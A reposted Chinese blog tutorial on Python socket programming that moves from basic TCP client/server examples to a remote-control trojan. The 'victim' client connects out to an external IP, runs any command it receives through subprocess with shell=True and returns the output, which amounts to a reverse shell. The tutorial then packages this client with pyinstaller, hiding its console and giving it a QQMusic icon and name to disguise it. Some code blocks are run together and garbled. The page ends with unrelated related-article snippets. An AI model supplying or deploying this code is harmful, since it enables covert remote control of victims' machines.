生命在于学习——Socket编程(偏安全方面)

news/2024/5/20 0:01:27/文章来源:https://blog.csdn.net/qq_15131581/article/details/127353520

在这里插入图片描述
本篇文章仅用于学习记录和交流,不得用于其他违规用途,产生的不良后果,自己负责。

一、Socket介绍

首先socket (套接字) 是工作在应用层和传输层之间一个抽像层 , 为什么要有他呢 ? 虽然我们已经有了ip+port可以和世界上任意一台计算机上的软件通信了 , 但是需要我们自己构造数据 , 以及封包 , 以及如何转换成2进制 . 相当麻烦 , 不利于开发 , 于是有了socket , 这个对数据封装的复杂工作交给他完成就好了 , 我们只需要调用相关接口就ok了 , 同样收数据也是基于socket层
在这里插入图片描述
所以我们无论用什么编程语言去开发网络通信的软件都不会自己封包解包 , 都是基于套接字的实现的 , 同样最后当应用层的数据传输结束了 , 你要在合适的地方用socket把系统资源给释放了

1、为什么学习socket

或者说用socket我们能实现什么 ? socket可以帮助我们解决两个软件之间的通信问题 , 大家都知道ip可以定位一台电脑 , 那么电脑上那么多软件我的软件怎么知道要跟另一个软件通信而不是和qq通信? 这就引出来了端口 , ip+port可以定位到你电脑上的某个应用程序(软件) , 大家都知道端口是不能重复的

你想一想远控(c2)是不是也是两个软件的通信? 木马和控制端的通信 , 不管你用的什么协议 底层都是socket之间的通信 , 只不过在上面规范了一些数据包的传输而已 , 所以我们也可以自己基于socket编写远控

2、套接字发展史及分类

套接字起源于 20 世纪 70 年代加利福尼亚大学伯克利分校版本的 Unix,即人们所说的 BSD Unix。 因此,有时人们也把套接字称为“伯克利套接字”或“BSD 套接字”。一开始,套接字被设计用在同 一台主机上多个应用程序之间的通讯。这也被称进程间通讯,或 IPC。套接字有两种(或者称为有两个种族),分别是基于文件型的和基于网络型的。

基于文件类型的套接字家族

套接字家族的名字:AF_UNIX

unix一切皆文件,基于文件的套接字调用的就是底层的文件系统来取数据,两个套接字进程运行在同一机器,可以通过访问同一个文件系统间接完成通信

基于网络类型的套接字家族

套接字家族的名字:AF_INET

(还有AF_INET6被用于ipv6,还有一些其他的地址家族,不过,他们要么是只用于某个平台,要么就是已经被废弃,或者是很少被使用,或者是根本没有实现,所有地址家族中,AF_INET是使用最广泛的一个,python支持很多种地址家族,但是由于我们只关心网络编程,所以大部分时候我么只使用AF_INET)

3、套接字工作流程

一个生活中的场景。你要打电话给一个朋友,先拨号,朋友听到电话铃声后提起电话,这时你和你的朋友就建立起了连接,就可以讲话了。等交流结束,挂断电话结束此次交谈。 生活中的场景就解释了这工作原理。
先从服务器端说起。服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。在这时如果有个客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束

二、TCP套接字

1、单次通信

客户端代码:

# 客户端
import socket
# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 基于网络 , tcp协议,默认不写也是这个
# 2.打电话,前提要知道对方的ip和port
sock.connect(('127.0.0.1',8080))
# 3.发送数据
sock.send(b'hello word')   # 发送的数据必须是bytes类型
# 4.关闭
sock.close()

服务端代码

服务端

i

import socket# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 基于网络 , tcp协议,默认不写也是这个
# 2.绑定手机卡
sock.bind(('127.0.0.1', 8080))  # 1024以前都被系统占用了
# 3.开机
sock.listen(5)  # 半连接池允许的个数5
# 4.等待连接请求
print("等待客户端连接......")
conn, client_addr = sock.accept()
print("建立了一个管道: {}".format(conn))
print('客户端的地址: {}'.format(client_addr))
# 5.接收数据
msg = conn.recv(1024) # 最大接收的数据量为1024个字节,收到的是bytes类型
# 6.打印数据
print(f"接收到的数据 : {msg.decode()}")
# 7.关闭管道连接(必选,回收资源的操作)
conn.close()
# 8.关闭服务端sock对象(可选)
sock.close()

2、通信循环

客户端代码:

# 客户端
import socket# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 基于网络 , tcp协议,默认不写也是这个
# 2.打电话,前提要知道对方的ip和port
sock.connect(('127.0.0.1', 8080))
# 3.发送数据
while 1:data = input('请输入你要发送的数据>>>').strip()if not data: continuesock.send(data.encode())msg = sock.recv(1024).decode()print(msg)

服务端代码:

# 服务端
import socket# 1.买手机
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 基于网络 , tcp协议,默认不写也是这个
# 2.绑定手机卡
sock.bind(('127.0.0.1', 8080)) 
# 3.开机
sock.listen(5)
# 4.等待连接请求
print("等待客户端连接......")
conn, client_addr = sock.accept()
while 1:try:# 5.接收数据msg = conn.recv(1024).decode()  # 最大接收的数据量为1024个字节,收到的是bytes类型if not msg: break  # 如果msg为空,意味是一种异常的行为,客户端非法断开,此时应该断开链接# 6.打印数据print(f"接收到的数据 : {msg}")# 7.回复客户端数据conn.send(msg.upper().encode())except Exception:# 针对winbreakconn.close()
sock.close()

出现了粘包问题。
只有TCP有粘包现象,UDP永远不会粘包。

例如基于tcp的套接字客户端往服务端上传文件,发送时文件内容是按照一段一段的字节流发送的,在接收方看了,根本不知道该文件的字节流从何处开始,在何处结束所谓粘包问题主要还是因为接收方不知道消息之间的界限,不知道一次性提取多少字节的数据所造成的。此外,发送方引起的粘包是由TCP协议本身造成的,TCP为提高传输效率,发送方往往要收集到足够多的数据后才发送一个TCP段。若连续几次需要send的数据都很少,通常TCP会根据优化算法把这些数据合成一个TCP段后一次发送出去,这样接收方就收到了粘包数据。

解决:
客户端:

import socket
import structdef recv_data(sock, buf_size=1024):"""解决粘包"""# 先接受命令执行结果的长度x = sock.recv(4)all_size = struct.unpack('i', x)[0]# 接收真实数据recv_size = 0data = b''while recv_size < all_size:data += sock.recv(buf_size)recv_size += buf_sizereturn datadef send_data(sock, data):"""发送数据也解决粘包问题"""if type(data) == str:data = data.encode("utf-8")# 新增发送命令的粘包解决方案# 计算命令长度 , 打包发送cmd_len = struct.pack('i', len(data))sock.send(cmd_len)# 发送命令sock.send(data)def main():client = socket.socket()client.connect(('127.0.0.1', 8082))while 1:try:# 新增解包接收命令msg = recv_data(client)  # 接收对面传来的数据if msg == b"q":breakprint(msg.decode("utf-8"))# 发送内容msg = input("请输入你要回复的内容:").strip()send_data(client, msg)except Exception:breakclient.close()if __name__ == '__main__':main()

服务端:

import socket
import structdef recv_data(sock, buf_size=1024):"""解决粘包"""# 先接受命令执行结果的长度x = sock.recv(4)all_size = struct.unpack('i', x)[0]# 接收真实数据recv_size = 0data = b''while recv_size < all_size:data += sock.recv(buf_size)recv_size += buf_sizereturn datadef send_data(sock, data):"""发送数据也解决粘包问题"""if type(data) == str:data = data.encode("utf-8")# 新增发送命令的粘包解决方案# 计算命令长度 , 打包发送cmd_len = struct.pack('i', len(data))sock.send(cmd_len)# 发送命令sock.send(data)def main():server = socket.socket()server.bind(('127.0.0.1', 8082))server.listen(2)print("等待链接.....")conn, c_addr = server.accept()print(f"新建一个链接,链接管道为{conn}")print(f"当前客户端的地址为{c_addr}")while 1:try:data = input(f'请输入你要发送的内容>').strip()if not data:continuesend_data(conn,data)if data == "q":break# 接收客户端发来的内容data = recv_data(conn)print(data.decode("utf-8"))except Exception:breakconn.close()server.close()if __name__ == '__main__':main()

注意:客户端可以发送空,服务端这边不能接受空。

三、Subprocess模块

这个模块也是一个内置模块,相对于os.system,可以控制系统命令执行后的输出的编码方式,达不到乱码。
例子:

import subprocessobj = subprocess.Popen("whoami", shell=True,stdout=subprocess.PIPE, # 标准正确输出stderr=subprocess.PIPE) # 标准错误输出
# 正确输出
res = obj.stdout.read()
print(res)
# 解码
print(res.decode('gbk'))  #subprocess使用当前系统默认编码,得到结果为bytes类型,在windows下需要用gbk解码
# 错误输出
res_err = obj.stderr.read()
# 打印
print(res_err)

在原来的通信基础上,新增接收命令,并执行命令,然后发送命令执行的结果,解决粘包:
客户端:

import socket
import struct
import subprocessdef exec_cmd(command):"""执行命令函数"""obj = subprocess.Popen(command.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)stdout_res = obj.stdout.read() + obj.stderr.read()return stdout_resdef recv_data(sock, buf_size=1024):"""解决粘包"""# 先接受命令执行结果的长度x = sock.recv(4)all_size = struct.unpack('i', x)[0]# 接收真实数据recv_size = 0data = b''while recv_size < all_size:data += sock.recv(buf_size)recv_size += buf_sizereturn datadef send_data(sock, data):"""发送数据也解决粘包问题"""if not data: returnif type(data) == str:data = data.encode("utf-8")# 新增发送命令的粘包解决方案# 计算命令长度 , 打包发送cmd_len = struct.pack('i', len(data))sock.send(cmd_len)# 发送命令sock.send(data)def main():client = socket.socket()client.connect(('111.111.111.11', 8082))while 1:try:# 新增解包接收命令cmd = recv_data(client)  # 接收对面传来的数据if cmd == b"q": break# 调用subprocess中的方法去执行这个系统命令res = exec_cmd(cmd)send_data(client, res)except Exception:breakclient.close()if __name__ == '__main__':main()

服务端:

import socket
import structdef recv_data(sock, buf_size=1024):"""解决粘包"""# 先接受命令执行结果的长度x = sock.recv(4)all_size = struct.unpack('i', x)[0]# 接收真实数据recv_size = 0data = b''while recv_size < all_size:data += sock.recv(buf_size)recv_size += buf_sizereturn datadef send_data(sock, data):"""发送数据也解决粘包问题"""if type(data) == str:data = data.encode("utf-8")# 新增发送命令的粘包解决方案# 计算命令长度 , 打包发送cmd_len = struct.pack('i', len(data))sock.send(cmd_len)# 发送命令sock.send(data)def main():server = socket.socket()server.bind(('127.0.0.1', 8082))server.listen(2)print("等待链接.....")conn, c_addr = server.accept()while 1:try:cmd = input(f'shell>').strip()if not cmd:continueif cmd == "q":send_data(conn, cmd)breaksend_data(conn,cmd)# 接收客户端发来的内容data = recv_data(conn)print(data.decode("gbk").strip())except Exception:breakconn.close()server.close()if __name__ == '__main__':main()

四、py打包exe

安装:

pip3 install pyinstaller

打包命令:

pyinstaller -F -w demo.py-F  打包成一个exe文件 
-w 不显示黑窗口 (默认会显示) , 也可以用 --noconsole 参数 
-i   指定图标 , .ico文件 或者是exe文件 , 会自动提取exe文件的图标
-n  指定打包好的文件名

打包好的程序在dist目录下,示例:

pyinstaller -F -w 05.受害者.py -i "C:\\Program Files (x86)\\Common Files\\Tencent\\QQMusic\\QQMusicService.exe" -n qqmusicpyinstaller -F -w 10.客户端(受害者).py -i "C:\\Program Files (x86)\\Common Files\\Tencent\\QQMusic\\QQMusicService.exe" -n main

注意:py不支持交叉编译。
可视化打包:

pip3 install auto-py-to-exeauto-py-to-exe本质还是pyinstaller

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_401937.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

chainlink 小实战 web3 “捐助我”项目合约及前端交互——关于 《Patrick web3 course Lesson 7-8 》课程代码中文详解

FundMe lesson 的 示例 本质上是一个合约上对 eth 接收和发送的演示&#xff0c;但这个演示增加了前端 ethers 的交互&#xff0c;以及对 chainlink 预言机喂价的使用。 总体来说是一些 Defi 项目上的某一块功能的缩影&#xff0c;不过总体来说还是挺简单的。 若不会 chainli…

(附源码)计算机毕业设计SSM基于JAVA人事管理系统

&#xff08;附源码&#xff09;计算机毕业设计SSM基于JAVA人事管理系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术…

Android系统10 RK3399 init进程启动(四十二) init.rc文件解析逻辑

配套系列教学视频链接&#xff1a; 安卓系列教程之ROM系统开发-百问100ask 说明 系统&#xff1a;Android10.0 设备&#xff1a; FireFly RK3399 &#xff08;ROC-RK3399-PC-PLUS&#xff09; 前言 Android init启动的时候会解析init.rc&#xff0c; 当然还有很多其他rc文…

DPR和REALM论文笔记

DPR(2020 EMNLP) 该论文的模型主要是一个双塔结构如下所示&#xff1a; 整个模型的训练数据D包含m个例子&#xff0c;其中每个例子由一个问题qiq_iqi​、一个相关段落pip_i^pi​、n个不相关段落pi,1−,⋯,pi,n−p_{i,1}^-,\cdots,p_{i,n}^-pi,1−​,⋯,pi,n−​ D{⟨qi,pi,pi,…

JUC-3.三大辅助类/阻塞队列/forkjoin

目录 一、三大辅助类 1.1 CountDownLatch 1.2 CyclicBarrier 1.3 Semaphore 二、阻塞队列 2.1 概念 2.2 常用的阻塞队列 三、forkjoin 一、三大辅助类 JUC 中提供了三种常用的辅助类&#xff0c;通过这些辅助类可以很好的解决线程数量过 多时 Lock 锁的频繁操作。…

【ASM】字节码操作 转换已有的类 Class Transformation 原理 【重要】

文章目录 1.概述2. Class-Reader/Visitor/Writer2.1建立联系2.2执行顺序2.3执行顺序的代码演示3.串联的Field/MethodVisitors4. Class TransformationJ4F5.总结1.概述 上-篇文章:【ASM】字节码操作 转换已有的类 ClassReader 删除方法 添加方法 2. Class-Reader/Visitor/Wri…

(附源码)计算机毕业设计SSM基于Java家庭财务管理系统

&#xff08;附源码&#xff09;计算机毕业设计SSM基于Java家庭财务管理系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技…

《视觉SLAM十四讲》 编译报错问题汇总 Ubuntu20.04

Ubuntu 20虚拟机环境安装 高翔原视频是ubuntu14.04&#xff0c;看了一下&#xff0c;有很多库都有兼容问题&#xff0c;所以初步按这个Ubuntu 20装&#xff1a; 这个教程是ubuntu20的,用ubuntu14会不兼容&#xff0c;比如qt5.12.12无法安装等&#xff08;需要5.12.3&#xff0…

Web3.0游戏是否还有未来?

当前Web3.0领域已经大规模减速。 对大多数投资者来说&#xff0c;Web3.0游戏是一个炒作噱头&#xff0c;他们更关心投资回报&#xff0c;不那么在意真正交付给玩家的游戏产品&#xff0c;游戏的中长期运营也就失去了保障&#xff0c;今年以来的各种Web3.0游戏的遭遇证明了这一…

postgresql源码学习(十九)—— MVCC④-可见性判断 HeapTupleSatisfiesMVCC函数

拖了好久总算把这一节啃完了...做个记录&#xff0c;有一部分判断条件的案例还没想到&#xff0c;集齐之后可能会再加一篇案例。 一、 可见性判断 回顾一下前面提到的SNAPSHOT_MVCC类型快照的可见性判断条件&#xff1a; postgresql源码学习&#xff08;十七&#xff09;—— …

SQL学习1---表的创建和修改,数据的增删改

目录 一:SQL使用规范 二&#xff1a;DDL&#xff08;Data Definition Language&#xff0c;数据定义语言&#xff09; 三&#xff1a;DML&#xff08;Data Manipulation Language&#xff0c;数据操纵语言&#xff09; 四&#xff1a;创建和操纵表 五&#xff1a;表的数据插入…

树莓派(一)python接口RPi.GPIO介绍

​ 目录 导入 RPi.GPIO 模块&#xff1a; 引脚编号 设置channel 设置多个通道 获取输入 设置输出 输出到多个通道 清理 RPi 板信息和 RPi.GPIO 版本 导入 RPi.GPIO 模块&#xff1a; try:import RPi.GPIO as GPIO except RuntimeError:print("Error importing RPi.GPI…

客户管理系统(SSM版):bs_typeahead动态的自动补全文本框的内容

客户需求&#xff1a; 用户在创建交易页面&#xff0c;在客户名称文本框输入信息时&#xff0c;可以根据输入的关键字&#xff0c;模糊查找数据库中的客户名称&#xff0c;并把模糊查找的所有的客户名称以类似于下拉框的形式显示在客户名称文本框下方&#xff0c;用户可以从中…

Python系列-Django-Ninja

Python系列-Django-Ninja 适用对象&#xff1a;有一定python和django基础&#xff0c;对此技术感兴趣&#xff0c;或者想快速尝试、实现效果的。 原则&#xff1a; 不重复造轮子实用为主&#xff0c;效果为主官网是最好的教程&#xff0c;其它只是辅助 ninja介绍 Django Ni…

【Pytorch教程】08-如何使用PyTorch训练简单CIFAR10图片分类器(保姆级)

本期目录1. 背景1.1 各领域常用库1.2 CIFAR10简介2. 数据集2.1 加载并正则化CIFAR10数据集2.2 训练集可视化3. 定义卷积神经网络4. 定义损失函数和优化器5. 训练模型6. 保存模型参数7. 测试7.1 测试集可视化7.2 加载模型参数8. 多卡训练1. 背景 1.1 各领域常用库 在深度学习的实…

asp.net在线医疗系统VS开发sqlserver数据库web结构c#编程计算机网页项目

一、源码特点 ASP.NET 在线医疗系统是一套完善的web设计管理系统&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为vs2010&#xff0c;数据库为sqlserver2008&#xff0c;使用c#语言开发。 asp.net在线医疗系统VS开发sqlserver…

叹教育之“不易”

小孩学校小学搞了个电子百拼活动&#xff0c;一套东西套件&#xff0c;一些电阻电容&#xff0c;三极管&#xff0c;语音芯片&#xff0c;加了塑料壳&#xff0c;6百多。一个电阻单独买一下要9块5毛&#xff0c;还不包邮。怎么说呢。。。感觉回到了十几年前去电子市场&#xff…

Vision Transformer论文精读(2/2)

目录 一、主题 3.1模型总览图 3.2 微调 二、实验部分 三、回顾总结 四、参考链接 一、主题 在模型的设计上&#xff0c;是尽可能的按照最原始的Transformer来做的&#xff0c;这样的一个好处是我们可以直接把NLP那边已经成功地Transformer架构&#xff0c;直接拿过来用&…

MySql(30)InnoDB数据存储结构

文章目录数据库存储结构&#xff1a;页磁盘与内存交互基本单位&#xff1a;页页结构概述页的上层结构页的内部结构第一部分 文件头和文件尾文件头文件尾第二部分 空闲空间、用户记录和最大最小记录第三部分 目录页、页面头部数据库存储结构&#xff1a;页 索引结构给我们提供了…

matlab输出神经网络权值,matlab神经网络能做什么

1、matlab神经网络工具箱训练出来的函数&#xff0c;怎么输出得到函数代码段 这样&#xff1a; clear; %输入数据矩阵 p1zeros(1,1000); p2zeros(1,1000); %填充数据 for i1:1000 p1(i)rand; p2(i)rand; end %输入层有两个&#xff0c;样本数为1000 p[p1;p2]; %目…